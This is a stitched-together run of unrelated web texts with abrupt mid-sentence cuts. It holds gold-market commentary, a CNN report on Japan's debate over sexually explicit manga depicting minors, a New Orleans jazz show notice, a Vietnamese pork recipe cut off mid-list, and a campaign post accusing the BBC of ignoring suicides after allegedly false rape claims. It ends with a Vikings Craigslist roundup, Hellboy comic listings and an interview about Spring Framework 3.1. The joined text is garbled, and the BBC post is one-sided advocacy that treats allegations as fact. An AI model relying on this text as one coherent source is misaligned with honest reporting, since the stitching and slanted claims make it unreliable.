1980.The lower portion of the chart recreates this parabola (in blue). The red line is the price of gold from the beginning of the current C-wave (April 16, 2009). The green line is essentially a duplication of the conclusion of the great 1980 parabola "glued" onto the current gold price.I am showing you this in the context of historical perspective and not in the context of price prediction.Honestly, I shudder to think what it what take for gold to double its current price of $1,857 to over $3,700 in the next 10 weeks. But I do recognize that it is possible -- particularly because, as we saw in 1980, it has happened before.I can indeed think of several realistic mechanisms to make this happen as "historically contemplated" on this chart (think Bernanke and QE3, Europe and sovereign defaults, Comex futures short squeeze of exciting proportion, and other possibilities including war and so on).The mining indices we are familiar with, such as the HUI and ^XAU ), believe it or not, have not existed for all that long. The HUI dates back to mid-1997, and the XAU only to mid-1995.Fortunately, there is an index of precious metal mining stocks that predates both of them -- and it is the, or BGMI. Data and charting of this historical index are available online and date back to 1939.This chart shows you the BGMI price action to the present day, as well as a log-scaled chart that suggests the relationship between this index of gold miners to the ever-changing price of gold.The lower portion of the chart suggests that a BGMI/gold ratio at or below 1:1 has been consistent with the beginning of huge gold miner stock rallies, particularly since 1978.Using this metric it appears the gold miners are seriously oversold and likely to rally hard. The current reading is well below 1:1.If you would like to study the BGMI in greater detail, Mark Lundeen has authored a number of outstanding analyses.Story highlights Japan bans possession of child pornography but not explicit animation Some manga, anime shows children being sexually abused Cartoonists say a ban would hurt the entire industry Welfare advocates say the material is being used to groom children They stare wide-eyed from the pages of magazines, childlike in stature but engaged in extremely explicit sexual activities. They may be drawings, but critics say the images found on the pages of some of Japan's erotic manga are so disturbing they should be banned. "I believe that this kind of terrible material is not protected under freedom of expression," says Masatada Tsuchiya, a member of the ruling Liberal Democratic Party. On Wednesday, Japanese lawmakers passed a law that will see people caught with child porn jailed for a year or fined up to $10,000. However, it doesn't include possession of anime or manga depicting child abuse, no matter how sexually explicit. JUST WATCHED Anime expo obsession Replay More Videos... MUST WATCH Anime expo obsession 02:19 JUST WATCHED Manga master paints'real' characters Replay More Videos... MUST WATCH Manga master paints'real' characters 04:48 JUST WATCHED 'Superflat' creator blends art and anime Replay More Videos... MUST WATCH 'Superflat' creator blends art and anime 03:50 How explicit are they? To see what's being openly sold on Japanese shelves, CNN took a hidden camera to one of the many manga stores in the Akihabara district of Tokyo. The district is a known hub for "otakus," obsessive members of anime and manga fandom, a worldwide group of avid followers of the genre. Down a set of stairs, there are rows and rows of manga, many containing popular themes and images. But five feet away, in an area marked "adults only," the content took a sharp turn into shocking sex scenes, apparently involving minors. Some of the predominantly female characters wore school uniforms, hair clips and innocent expressions as they engaged in sometimes violent sex acts with dominant characters. Should it be banned? Mio Bryce, an expert on anime and manga from Macquarie University in Sydney, said Japan's obsession with "kawaii" or cuteness made it difficult to distinguish whether the characters in the material were depicting children or not. "Cuteness means a generally more infantile character. Maybe the character is 20 years old, but maybe from your point of view, the character's 15 years old. It's very difficult," she said. Ken Akamatsu, who lobbies lawmakers on behalf of the Japan Cartoonists Association, said a total ban on explicit content would damage the entire industry, making creators too scared to put pen to paper in case they risked breaking the rules. He said the characters were imaginary, so unlike real child porn, no one was hurt. "Actual children suffering and crying is not acceptable. But manga doesn't involve actual children. So there are no actual victims," he said. Child welfare advocates disagree. Shihoko Fujiwara runs Lighthouse, a nonprofit for exploited children. She told CNN she once worked on a case where a predator used a cartoon to convince a child that sex abuse was normal. "So the pedophiles might bring the animation and say 'this is how you practice with adults,'" she said. Child abuse in Japan While no link has been made between anime, manga and child abuse, Japan is facing a "serious" child abuse problem, according to a White Paper issued by e National Police Agency in March The paper said the number of child abuse victims jumped 20% between 2011 and 2012, and the number of victims, arrests and cases are at their highest levels since they started compiling statistics in 1999. At the same time, the number of cleared child pornography crime cases rose to 1,596, the highest ever recorded, the paper said. Most -- 85% -- were Internet-related. The figures inspired the U.S. State Department to label Japan as an "international hub" for producing and trafficking child pornography. The U.S. report noted that no national law addresses the "unfettered availability of sexual explicit cartoons, comics and video games, some of which depicted scenes of violent sexual abuse and the rape of children." It added: 'While the NPA continued to maintain that no link was established between these animated images and child victimization, other experts suggested children are harmed by a culture that appears to accept child sexual abuse." What is manga? The term manga means "casual drawing." The earliest examples date back to the 7th century, but it became very popular in the post-war period, Macquarie's Bryce said. That coincided that with the work of the so-called "God of manga" Tezuka Osamu, the creator of "Astro Boy," one of the more popular Japanese characters that made the leap into Western media. Now the industry is worth an estimated $3.6 billion in comic book and magazine sales, according to the Publishing Science Institute figures from 2013. Animation takes in another extra $2.3 billion, according to the Media Development Research Institute. As Bryce points out, only a very small proportion of the market peddles sexually explicit material involving children. "Very often people think manga equals sexual or manga equals violence. But it's only a part of manga... there are some very poetic, very beautiful ones," she said. 'Cuteness is a problem' The bigger problem, she said, is that manga permeates Japanese culture. It can be seen everywhere, from street signs to government pamphlets. Often, the characters depicted are young, vulnerable girls who meet consumers' desires for something "kawaii" or "cute." "'Cuteness is a problem," she said. "Because cuteness is something that makes you feel you have to protect the person, and there's a very fine line between 'I can protect the person' and 'I can control the person.'" She said the prevalent depiction of young girls, especially in "Lolita complex" material, risks giving "the wrong impression of women." "If you're looking at it all the time, how are you actually seeing people? Is it just a fantasy, or maybe some people with a bit of a wrong mind think that is actually there, and that is the way to treat women. So there is a risk," she said.The Music Box Roving Village at City Park is selling tickets for a "Super Secret Jazz Fest Show" on Friday.According to their Eventbrite page, the performance begins at 8:30 p.m. Friday at the Music Box Roving Village, at the Old East Golf Course at City Park."We cannot announce who the headlining musicians are until the day of the event," organizers said on the page.Organizers added that the secret musicians will play alongside local artists, including Quintron, Rob Cambre, Dustin Louque and others."These celebrated musicians will play musical houses in City Park for a once in a lifetime experience," the page said.LINK: Eventbrite pageTickets are on sale for $20. Those interested can visit the Eventbrite website or purchase them at the door, but organizers said there will be a limited number.WDSU will update this article after the artist is announced Friday. The Music Box Roving Village at City Park is selling tickets for a "Super Secret Jazz Fest Show" on Friday. According to their Eventbrite page, the performance begins at 8:30 p.m. Friday at the Music Box Roving Village, at the Old East Golf Course at City Park. Advertisement "We cannot announce who the headlining musicians are until the day of the event," organizers said on the page. Organizers added that the secret musicians will play alongside local artists, including Quintron, Rob Cambre, Dustin Louque and others. "These celebrated musicians will play musical houses in City Park for a once in a lifetime experience," the page said. LINK: Eventbrite page Tickets are on sale for $20. Those interested can visit the Eventbrite website or purchase them at the door, but organizers said there will be a limited number. WDSU will update this article after the artist is announced Friday. AlertMeOur Mom was THE BEST cook…..seriously. She had a knack of creating such delicious flavors out of the most modest ingredients. And like most Vietnamese mothers, along side your serving of dinner, you would get several quick-tongue remarks and sharp attitude. 🙂 Lately, I have been finding myself missing my Mom a lot. And when those times come, I tend to gravitate towards recreating dishes and flavors that came out of her kitchen. Truth be told, most of my “mom-meal knock offs” aren’t 100% authentic. But that sure isn’t do to lack of trying! She was so quick maneuvering around the kitchen–throwing a little of bit of this and a little bit of that into pans that we could never keep up. Let’s not even begin to get into how she never measured! So, on one recent weekend, I found myself recreating a meal that we often had growing up– Bún Thịt Nướng or Vietnamese Grilled Pork over Vermicelli Noodles. It’s not a dish that I eat (or more like “order“) often these days but when I do get the chance to enjoy it, I am reminded of how it really is a great depiction of Vietnamese cuisine. An extremely savory and mutli-layered flavor protein, combined with tons of fresh herbs, pickled veggies, cold noodles, various textures, and all enhanced by a spicy nước chấm (dipping sauce). And like many Vietnamese dishes, Bún Thịt Nướng is not difficult to make but it does take some time preparing as there are many steps and components to the dish. I spend most of the time below describing steps to preparing the pork so if you have any questions, about the condiments in particular, feel free to shoot me an email. Since I was too lazy to pull out the grill, I ended up using my tried and true All-Clad grill pan to cook the pork. It worked fairly nicely but if you want the true authentic flavor, I’d recommend using an outdoor grill with with one of those wire mesh grilling baskets. You can pick one up for really cheap at most Asian grocery stores. You can’t beat the slightly charred flavor produced by cooking it that way. Plus, if you’re ever in Việt Nam, you’ll see that it’s the way my peeps do it. I was quite pleased with the final dish. The warm grilled meat over the cold veggies and noodles are a perfect pairing–particular for warm summer days. And although I know it wasn’t exactly like Mom’s, I am sure she would have been quite proud. Until next time Friends……Always cook with your heart 🙂 ________________________________________________ Bún Thịt Nướng Serves approximately 4-5 Ingredients: Thịt Nướng (Pork) 2 Tablespoons Fresh Garlic, minced 3 Tablespoons Shallots, minced 3 Tablespoons Lemongr
3 Search result: NOT COVERED ANYWHERE BY BBC (or Guardian) Philip Prynn A pub landlord who died after setting himself on fire following a allegedly false rape allegation with his accuser alleged to have made previous false accusations against her husband too. Search result: NOT COVERED ANYWHERE BY BBC (or Guardian) Luke King A young rugby played who went into a four year long spell of depression following an allegedly false rape allegation which eventually resulted in his suicide. Selected further coverage: 1, 2, 3 Search result: NOT COVERED ANYWHERE BY BBC (or Guardian) Garry Parnell A 51 year old wheelchair bound man accused of historical sexual abuse. His accuser had allegedly demanded a large sum of money to drop the case and his accuser knew he was expecting to receive such a sum of money through compensation for an accident. As a result of the allegations he climbed over a barrier and threw himself off a bridge and onto a motorway. Search result: NOT COVERED ANYWHERE BY BBC (or Guardian) The BBC has an absolutely colossal annual budget of almost £5 billion per year, employs thousands of journalists and absolutely dominates UK news out put with close to 50% market share! We’ve identified these ten men and boys driven to suicide by extremely dubious or demonstrably false rape claims, often extremely notable stories yet the BBC couldn’t find the time or resource to write so much as one word about a single one of them. We’ve checked every single name not to mention any of the accusers who were named and convicted and nothing comes up whatsoever. We’ve even used various keywords to search the BBC website to see if they’d reported any different cases and again there’s not a single mention of any victim. The best material we found was an article from 2000 which quoted men’s human rights activist George McAuley mentioning that two men had taken their own lives in Scotland due to false rape claims. However, neither victim was mentioned by name and the paragraph was merely a quote of McCauley’s claims and thus still not a case of the BBC reporting such information themselves as verifiable fact. In the BBC’s entire output we only found one single instance of the organisation itself acknowledging fact that false rape claims can result in the victim’s suicide (and that occurred over seven years ago). To see how scandalous this situation is, it’s worth examining the range of sources we’ve linked to above for reports on the ten cases. Bar the Guardian and the Independent, every single major UK newspaper and online outlet has reported on one or more of the above cases. Furthermore, with their recent reports on the Jay Cheshire case, the independent has now officially removed itself from the official list of media outlets with operating a policy of “we don’t give a damn about male driven to suicide by false accusations”. These stories above feature in local press, national press, even internationality making it to Nigerian and Polish media too. Two cases were discussed in the Scottish parliament and therefore appear on its own website too, so you can find this material pretty much anywhere, other than of course at the only outlet we’re actually forced to pay for and that actually has the legal obligation to act in a neutral fashion and thus report such notable cases. So why exactly does this matter? Well any preventable phenomena that causes such tragic deaths on a regular basis is clearly an extremely important issue yet the BBC’s blatant and 100% cover-up of these types of stories means many people simply won’t be aware that such things happen. The BBC’s market dominance means there are many people out there who get almost all their news from this organisation, and so they could visit the BBC website daily, read every single article and watch every national bulletin for 18 years straight and not see a single case of a man driven to suicide in this cruellest and most evil way. People get annoyed at feminists for their denials of the reality when it comes to false rape accusations, but to be fair if their choice of media is limited to the BBC and Guardian then you can see exactly how they could develop such a one-sided and clearly false view of this issue. To compound matters further still, the BBC also took the decision to give blanket covered to the Eleanor de Freitas case, with at least 20 separate articles about the story, some even plastered on the BBC front page. Therefore all we’ve ever heard from BBC on the matter of false rape accusations and suicide is the one solitary known case of an alleged false accuser killing herself, rather than the far more tragic and unjust reality of actual victims of such accusations killing themselves time again, (not to mention those responsible for their deaths receiving a £500 fine). Our list a far from exhaustive but shows three cases in 2014 alone and of course we’ve ignored all attempted suicides or less clear cut cases too not to mention all those where the rest of the press “did a BBC” and failed to report the story. While some of the stories above are undoubtedly far more newsworthy than the de Freitas case, others are clearly less so. Even if we assume balance would be achieved by giving each story just one third of the coverage given to the de Freitas case, then that’s still an incredible 72 articles, tv broadcasts or radio programmes that the BBC has failed to produce. You’re probably sick of reading how bad things are at the BBC in this area, but wait there’s even more. You see not only was the De Freitas coverage excessive in quantity and its profile, there’s the further issue of its actual content. As so often occurs, the BBC essentially cut and pasted it’s coverage from the misandrist and wholly dishonest Guardian report, going as far as describing her as an “alleged rape victim” the complete opposite of reality which as that she was clearly an alleged false rape accuser and to stand trial as such. We famously forced the BBC to retract its headlines but we’ve since discovered that this wasn’t an isolated incident and the bias persisted. Even in May 2015 the woeful BBC tv programme “Victoria Derbyshire Live” featured an interview with Lisa Longstafff of “Women Against Rape”. The host of the show, Joanna Gosling, allowed Longstaff to describe De Freitas’ victim as “her rapist” on multiple occasions in the broadcast without challenge. So defamatory was this statement that the BBC have since been forced to issue an apology (hidden away of course) and every clip or link featuring the smear has been deleted and it doesn’t even appear on WAR’s own Youtube channel. We’ll be getting back in touch with BBC management with these new findings about their incredible failings in this area and I think even they’ll do well to defend what’s happened here or to come up with an excuse. Perhaps one day they’ll report on a man or boy driven to suicide due to a false rape claims. After all, there isn’t exactly a shortage of these deaths and so (unfortunately) they can’t use the lack of cases as an excuse. Please feel free to contact the BBC about this scandal and perhaps your local MP too. SEPTEMBER 2018 UPDATE There are now two further cases of note that the BBC has failed to cover: Ross Bullock A forklift truck driver from Redditch, who took his own life in 2015 after being accused of rape by a woman who was in a relationship with another man at the time they had sex. Evidence on his phone supports his innocence and his accuser is now being investigated by police for allegedly perverting the course of justice. Selected further coverage: 1, 2, 3, 4, 5, 6 Search result: NOT COVERED ANYWHERE BY BBC (or Guardian) Michael Isherwood An an inspecting engineer at Vauxhall who took his own life after being falsely accused of filming a girl on his mobile phone. His family called on the police to take action against false accusers. Search result: NOT COVERED ANYWHERE BY BBC (or Guardian) AdvertisementsAs you may or may not have noticed, things have been a bit on the slow side since the 2015 NFL Draft finished up. That's because...well, quite frankly, there hasn't been a whole lot to talk about. For most teams, this is a curse...on the other hand, given the usual off-season stories we get from the Minnesota Vikings, it's more of a blessing. However, in an effort to give our loyal readers entertaining things to view until we get some actual news, yours truly has delved into the mish-mash that is Craigslist in search of unique Vikings items that you (or someone you know) might be interested in. So, let's take a look around and see what there is to see. My personal favorite item that I've found to this point is this set of golf clubs. I'm not much of a golfer, myself, but if I was, these would be pretty interesting. I mean, those are pretty sweet. I'm not sure of the brand (I've never heard of Bob Toski but, again, I'm not a big golfer), but it's hard to go wrong with a Vikings logo on anything, in my opinion. If something to hang on the wall is more your speed, here's a bronze sign for your den/man cave/whatever. The "s" at the end of Vikings is a little off, from the looks of it, but overall it's still a pretty nice piece. The most expensive Vikings-related item I could find on Craigslist? (Well, the Minneapolis-based sub-site of it, anyway.) How about a 1978 Harley Davidson, used at the Metrodome by Ragnar himself? It can be yours for $9,379. That's a pretty damn impressive piece right there. I'm not a motorcycle guy or anything, but for something like that I could potentially become one. Or, if you're feeling particularly nostalgic...or significantly more cheap...you can get an honest-to-goodness Metrodome trash can. Sure, it's not Vikings-specific or anything, but...yeah, I don't have a good way to finish this. That's a small sampling of what's on Craigslist with connections to our Minnesota Vikings. Sure, there's still like tickets and jerseys and what have you, but I efforted to delve a little deeper on this one. Have you ever bought or sold Vikings stuff on Craigslist or any other internet sites? Heck, are you selling anything now? Feel free to go ahead and mention it here. All pictures of items taken from the ads on Craigslist.September is going to be a strong month for the Mignolaverse titles at Dark Horse, with B.P.R.D. Hell on Earth #135, Abe Sapien #26, Baltimore: Cult of the Red King #5, Hellboy in Hell #8, and the Trade Paperback of Frankenstein Underground all arriving. The icing on the cake seems to be an actual massive neon sign styled in the B.P.R.D. logo fit for any decorating choice. Lest we forget, this is also the summer of “The Impossible Will Happen” in the Hellboy Universe books, starting with the jumping on points of Hellboy in Hell #7, Abe Sapien #25, and B.P.R.D. Hell on Earth #134. Without further ado, here are our Mignolaverse listings for September ’15: B.P.R.D. Hell on Earth #135 Mike Mignola (W/Variant cover), John Arcudi (W), Laurence Campbell (A/Cover), and Dave Stewart (C) On sale Sept 16 FC, 32 pages $3.50 Ongoing Description: The impossible will happen! The stakes have never been higher going into the final massive story of Hell on Earth as the Black Flame tests the limits of his power. Abe Sapien #26 Mike Mignola (W), Scott Allie (W), Sebastián Fiumara (A), Dave Stewart (C), and Max Fiumara (A/Cover) On sale Sept 9 FC, 32 pages $3.50 Ongoing Description: Abe left the BPRD to confront the monsters to which people said he was connected. Now he’s found one, towering over a doomed Florida town, leading to a terrifying meeting of the minds as Abe dives headfirst into the question of his own origins and purpose. Baltimore: The Cult of the Red King #5 (of 5) Mike Mignola (W), Christopher Golden (W), Peter Bergting (A), Dave Stewart (C), and Ben Stenbeck (Cover) On sale Sept 2 FC, 32 pages $3.99 Miniseries Description: Baltimore’s companions risk their lives for the steadfast tin soldier, but the Red King gains powerful new allies. Can the hero with no heart overcome the dark forces, or will it take a new sort of man to defeat the most ancient of evils? Featuring art from Peter Bergting (The Portent, Domovoi). His family will be his death! Hellboy in Hell #8 Mike Mignola (W/A/Cover) and Dave Stewart (C) On sale Sept 23 FC, 32 pages $2.99 Ongoing Description: The Hounds of Pluto Part 2 of 2 A mummified cat, a trial in Hell, and a horrible family reunion stand in the way of Hellboy’s search for a cure. Frankenstein Underground TP Mike Mignola (W/Cover), Ben Stenbeck (A), and Dave Stewart (C) On sale Nov 25 FC, 144 pages $19.99 TP, 7″ x 10″ Description: After a fight with Hellboy, Frankenstein’s monster escapes the terrible Mexican laboratory where he was imprisoned and discovers strange creatures beneath the desert, where he’ll learn some of the greatest secrets of the mystical world in the strangest Hellboy spinoff yet! Collects Frankenstein Underground #1–#5. • The sequel to Hellboy: House of the Living Dead! Extras: Cover by Mike Mignola! BPRD Neon Sign On sale Sept 2 The neon sign stands at 13” tall, 9.25” wide Packaged in foam in 19” x 13” x 3” full-color box $99.99 Description: Reveal your secret membership in the world’s most elite covert organization with our new BPRD neon sign. The logo for the Bureau for Paranormal Research and Defense is instantly recognized by Hellboy fans and readers of Mike Mignola’s vast comic universe. The light glows red with a black base. Can be displayed on a flat surface or hung. Includes cord and plug. About Hannah Means Shannon Editor-in-Chief at Bleeding Cool. Independent comics scholar and former English Professor. Writing books on magic in the works of Alan Moore and the early works of Neil Gaiman. (Last Updated ) Related Posts None found1. This is Charles Humble and I am here with Juergen Hoeller, the project lead of the Spring Framework. Juergen, I’d like to start by talking about some of the features in Spring 3.1. Can you tell us a bit about Spring Cache? Caching is certainly one of the key themes that we are setting. Caching has some history; it’s a long term issue. We meant to do a caching abstraction for a long, long time and we are finally taking the opportunity, in Spring 3.1, to actually deliver it. The idea is not so much that we are providing an abstraction for the cache providers themselves, it’s more about access patterns, so that the typical interaction with a cache that an application does is available through a Spring abstraction in the form of a cache manager and a cache abstraction, typical arrangement, [supporting] key value pairs, cache regions, so, those kind of concepts. We not only provide the abstraction, we also go into the declarative caching space where we provide annotations and an interception facility. We call it cache annotation driven, it’s a bit like TX annotation driven for the transaction space, where when you call a method, the framework would intercept the call, just check whether there is a value in the cache and retrieve that value instead of calling the method, based on annotations, so in an annotation driven model. That’s really what we aim to deliver and the cache abstraction is basically the back end behind those access facilities. The actual implementations of the SPI will only provide Ehcache out of the box as a reference implementation, kind of, and we rely on external projects, some of them run by ourselves, to deliver adaptors for commercial cache providers; because most of them are commercial. The reason why we are introducing this now is partly because distributed caching is becoming a topic again. Of course, it’s not really a new space, but now with the Cloud movements, Cloud platforms, Platforms as a Service, distributed caching becomes a topic once again. Products such as GemFire, Coherence, they are ideal back ends for this kind of model that we are providing here. And there will be out of the box adaptors for those, in some form, but not as part of the Spring Framework project itself. 2. How does it fit with the Spring Data Project? I guess there must be some overlap between the two, is there? Yes. There is a quite natural relationship since we are kind of targeting the same space. Caching providers are to some degree used as data stores in some form. Today distributed caching provides us with persistent store in particular. And in Spring Data we aim for talking to the more obvious examples for alternative data stores, like Redis and Mongo, where we provide Spring’s template style access classes for those kinds of data stores. So, there is certainly a relationship in some form, but a technical separation where we just say those products are supported over there in Spring Data, more the kind of database-like access patterns and, use case wise, if we are talking more about cache oriented access patterns then that’s part of the cache abstraction. And of course, many of the alternative data stores they don’t actually use a key value model. So we have the Neo4J, as a graph database. There are different ways of talking to those data stores. So Spring Data is not really an abstraction. It’s a collection of support packages for those individual access models that those data stores have. It’s not really trying to abstract them, it’s trying to natively expose them for Spring based applications. 3. The long dormant JCache JSR is being talked about again, possibly being revived again. Will that have an impact on Spring cache? Yes; it’s something we’ve been following. We are kind of waiting for it - we have been waiting for it to some degree. But, as of Spring 3.1 we basically said, it wasn’t part of EE6. There was no attempt to go into the caching space, so, we’re providing our own cache abstraction for the time being and it looks like we’ll actually turn this into a quite sophisticated long term offering, even if JSR 107 comes along in some form, probably in a reinvented form actually. I don’t think that the old JSR is going to be revived as it is; it’s going to be a new approach to caching as part of EE7 I suppose, and we’ll make sure that things integrate nicely on top of our caching abstraction, behind the caching abstraction probably more importantly, like we do in other areas. We’ll certainly make sure that we can adapt nicely, and I don’t see any show stoppers in that space, because the caching space, from an access pattern perspective, is well understood. I would hope that this is quite a natural fit, once it comes along; which is probably Spring 3.3 timeframe - in that kind of ballpark. 4. Is Spring Batch receiving any attention in 3.1.? Spring Batch is a project that I personally always consider when introducing new core facilities, because Spring Batch has special ways of using Spring, or a special use of Spring facilities, that maybe the traditional Spring based web application doesn’t use that much. So things like the task executors, task schedulers, all of the concurrent programming facilities in Spring; and some of them will actually be extended and reinvented to some degree with Java 7 in mind, for the Fork/Join framework and so forth. So for some of those things we really plan to expose them in some form, or make good use of them in Spring Batch, so that’s my primary consideration at the moment. The Spring Batch model, the programming configuration model, I think is well understood and well accepted. But I see a lot of potential, in particular for Spring Batch, to make good use of things like Fork/Join underneath, to expose it, to translate its own step model to it. So that’s the relationship that we usually do. Spring Framework provides some core facilities, already with some use cases in mind, and some of the other Spring projects, such as Spring Integration and Spring Batch, then consume them; integrate them into their world. In that sense I would certainly expect Spring 3.1 based releases of Spring Integration and Spring Batch quite soon to follow after the Spring Framework 3.1 release. 5. Since you mentioned Fork/Join, are there any other features in Java 7 that are sort of interesting from a Spring perspective? There are quite a few. I mean Fork/Join is probably the most important, the one with the strongest impact, because it’s a programming model, user level facility where people will have to reinvent, or to reconsider, the ways that they are implementing their algorithms. But there are other pieces, such as the try-with-resources class and the autocloseable interface behind it. We are considering to use that or expose that in some form for some of the Spring classes, so that we would provide some Framework classes that can be used with a try-with-resources class. So there are some things we do consider. There is JDBC 4.1, but well, that’s not really that major a step, but we’ll make sure that our JDBC adaptors, we have a couple, where we actually provide decorators for JDBC, that they are JDBC 4.1 ready. So we’ll do a comprehensive Java 7 upgrade, but from a user experience I am pretty sure that the Fork/Join framework and possibly try-with-resources, that’s the two things that users will care about. There was actually one further thing that I would have loved to see in Java 7, in that space, and that’s the date/time API, which, unfortunately, didn’t officially make Java 7. I hope for inclusion in Java 8 and for an independent release in the meantime because it’s actually really good stuff; and Java.util.Date and code they need some love, some competition, some reinvention and the date/time API is a good start there. And it would have been something that, once it’s released, we’d immediately adopt it into Spring’s programming model, just like we did with Bean Validation, with JSR 303 (it’s the same kind of thing); we’d immediately support it. For the time being we’ll have to stick to Joda-Time, even on Java 7. 6. You’ve added conversation support as well, so similar to CDI or Seam, I guess. Where can I use that in Spring? Conversations, historically, they’ve been associated with Web Flow. So we, of course, had Spring Web Flow with its navigation model, and a conversation model that goes with it, basically driven by the flow navigation model, quite strongly, and that’s actually some of the origin of what we are doing in Spring 3.1, easing Web Flow: more of the motivation than the actual code possibly. Some of the other influence here comes from the JSF space, where in JSF there are several conversation extensions: MyFaces Orchestra, for example; some less well known ones; then there’s of course the one in CDI, which is quite JSF-oriented. We’re trying to provide some common ground in this space basically, so Spring 3.1 is not trying to go into the Web Flow domain. It’s going to provide a foundational conversation management facility that Web Flow would use, that Web Flow would delegate to, more of a conversation store abstraction, with the management of a current conversation, this notion of a current conversation. As far as we understand right now that’s about everything we really need to provide in order to have some interoperability between like a Web Flow managed conversation and possibly a JSF conversation or a conversation that’s being used with the Spring MVC. So use case wise, there’s Web Flow, there’s JSF conversations (pretty well understood in the meantime) and, from a Spring MVC perspective, we have a session attribute store mechanism, managed session attributes in Spring MVC, and we’d also like to integrate that part with a more flexible conversation management arrangement in some form. We have yet to actually finalize the arrangement there. The most important use case is that people want window isolation. So, with Spring MVC it’s probably the single biggest demand or request that we’re getting in that space. Session attributes by default, they are being stored to the HTTP session, which means all of the windows, all of the tabs that you have in the same browser store, basically talk to the same session. If you have the same form open in several tabs, all of them share the same session attribute that they store their data into. So, having an isolation between window tabs and window browsers for several independent form conversations, that’s a request from Spring MVC users, and it’s part of our agenda here that we are trying to provide a first class solution for that particular problem. So it’s really several pieces that together form a conversation management theme for Spring 3.1. And in that sense it’s somewhat like CDI and Seam conversations possibly, but only one of those three perspectives. The MVC perspective and the Web Flow perspective are pretty independent and actually are quite different in several respects. So, we’ll see. Our mission is to find, identify the common ground, and build it into the Spring core. 7. What are your views on CDI since you’ve mentioned it? I followed the evolution of the CDI specification quite closely and it has an interesting history. It started actually in a quite different form than what we actually got in the end. Its original mission was to develop a conversation scope, the very original mission, to develop a conversation scope between JSF and EJB3, and JSF-EJB3 integration overall was also part of the mission. But in the end it’s actually a quite rich dependency injection model in its own right. Several interesting ideas in there; quite a few ones that are not unlike things that Spring has been doing, since the Spring 2.5 days in particular. There is, of course common ground as well here, so the state of things basically is that JSR 330 defines the common dependency injection annotations that are supported by Spring 3.0 and 3.1 and at the same time, also, supported by CDI containers: that’s @inject, @qualifier, the provider interface, so the core parts of the dependency injection model. But, on top of that, of course CDI adds quite a few things: an eventing model, a special scoping model. There are a couple of things that design-wise go different ways from Spring, but I would argue if you have a good understanding of Spring, of dependency injection, but also of Bean scoping, that this translates quite nicely onto CDI and vice versa. So moving between the two worlds shouldn’t be too hard. They just go different design directions; they have different design tradeoffs that just naturally evolved over time. There are several things I disagree with in CDI, but I’m sure there are several things that CDI designers disagree with in Spring’s design, so I think that’s a fair situation to be in. We have no closer plans with CDI at this point, although we do actually keep watching it. But we are following JSR 330’s evolution very closely and for Java EE7 it looks like there will be a revision, at least a 1.1 revision, of the core dependency injection specification and people can certainly expect an implementation of that, support for that, in Spring in a very timely manner. 9. What impact does that standard have on Spring and how is Spring adding compatibility for it? We have been following, not only CDI, but the entire Java EE 6 specification quite closely and it’s not a coincidence that Spring 3.0 went GA a couple of days after the Java EE6 specification release. So we have been following the evolution of several specifications, not least of it all JPA 2.0, JSF 2.0, of course JSR 330 and JSR 303, the Bean Validation specification. Those four are the most interesting pieces from a Spring perspective in EE6. Well, they are actually quite independent. I mean JSR 303 has independent implementations, can be included into any kind of application very nicely. So can JSR 330 - dependency injection annotations, and the JPA 2.0 Provider is also usable in many environments, so that may be part of the reason why we care about those and we immediately supported those after their specifications have been finalized; actually before they all delivered production quality reference implementations. There are other parts of EE6 such as Servlet 3.0 that we just tested against, but that we hadn’t had dedicated support for. And in Spring 3.1 we’re actually closing that gap so Spring 3.1, as one of its themes, has Servlet 3.0 support, which means support for the Servlet 3.0 configuration model in particular. There’s a really interesting alternative to web.xml driven bootstrapping in Servlet 3.0 - the servlet container initializer model - and that’s a really nice fit for Spring’s Java based configuration model. So, we’re trying to provide a seamless experience here, basically a non-XML configuration experience, for Servlet 3.0 users in combination with Spring 3.1, and that’s going to be a really nice fit. So other than that, well, Java EE6 had, of course, JAX-RS and a couple of other interesting specifications that can be used with Spring very nicely, although Spring itself doesn’t actually have any specific JAX-RS support. The reason is quite simple: all the mainstream JAX-RS providers out there provide Spring support themselves. So, you will get Spring support for Jersey, you will get Spring support in RESTEasy. There is nothing to do, on the Spring Framework side, in order to be a good citizen in the JAX-RS world.So, I would say that Spring 3.x has a really good Java EE6 story, both from using several EE6 level specifications independently, but also for running an entire Spring application on a Java EE6 server, which, from a Spring perspective is a nice bundling of all those specifications, and some providers, out of the box. You get a JPA 2.0 provider, a JSR 303 provider, a Servlet 3.0 container. That’s like a really nice foundation for the Spring 3 programming model to sit on top of. That’s the way that we see this, and GlassFish for example, GlassFish 3.0, 3.1, it’s a great server for Spring based applications from that perspective, and it’s the one that we test against. We even have dedicated GlassFish load time weaving support, so it’s a really good fit for Spring-based applications. 10. One of the things that is being talked about in the context of Java EE7 is the problem of multi-tenancy, so running the same application on a variety of different environments, be that an App Server, or a private Cloud, or a public Cloud. Does that problem arise in Spring? We have yet to understand what the EE7 specifications will do about multi-tenancy, because from my perspective, there is pretty good isolation between applications in the Java EE world and also in the Cloud platforms, the Platforms as a Service as we have them today: Google App engine, Amazon Elastic BeanStalk; they all use the war deployment units, and basically manage an isolation container around war files at run time and it seems to get them pretty far. At this point Spring-based applications are like really great citizens within a war file. In many ways, Spring is the framework of choice for war-based deployment and, as far as we know at this point, there is nothing specific for us to do in order to participate in any kind of isolation model that a servlet container would be providing. If there is something that comes along, that we can do, where for example the application may provide some configuration context to the container in order to identify some kind of isolation level to other applications, if there is something we can do, we will do it. But the Java EE 7 specifications have yet to deliver a more concrete model in that space. 11. I have the impression that Spring is reluctant to get involved in the standardization process. Generally you follow the standards, and you’ll follow them pretty closely, but I don’t see a lot of involvement from Spring in the standardization process. Is that a fair comment? It’s certainly a fair impression to get, although historically and say more JCP internally, it’s not exactly how things worked. But yes, in terms of concrete participation, JSR 303 we did participate. Although it was strongly driven by Bob Lea, of course, with great working relationships with Bob Lea; we’ve been co-specification lead, but, fair enough, Bob Lea certainly was the primary driver. We have been following several other specs, even with people on the expert groups, such as JSF 2.0, for example. Whether we had a strong design impact, well maybe less than others I am sure, because JSF has also a couple of drivers that just really move the specification forward and most of the expert group is listening; and with JSF 2.1 and 2.2, that’s basically still the case. We are actively involved and there are actually discussions in what form we could add some more concrete work to JSF 2.2. But, from my perspective, we take specifications as they develop, we follow them from an early stage on. We don’t necessarily need to influence them; we are just trying to make sure that things play nicely with the Spring programming model. That’s really our most important mission. For some specific areas, I personally really care about standardization: constraint annotations, where, I mean that’s really creeping into the very heart of the domain model, so those guys should be standardized; dependency injection, in the form of @inject and qualifiers, it’s a great fit for standardization. If it was for me to choose a stereotype model, like Spring has with @component and custom stereotypes on that basis, a flexible core stereotype arrangement as part of the JSR 330 or JSR 250, I’d immediately adopt that. There are some more specific things where I would personally be interested 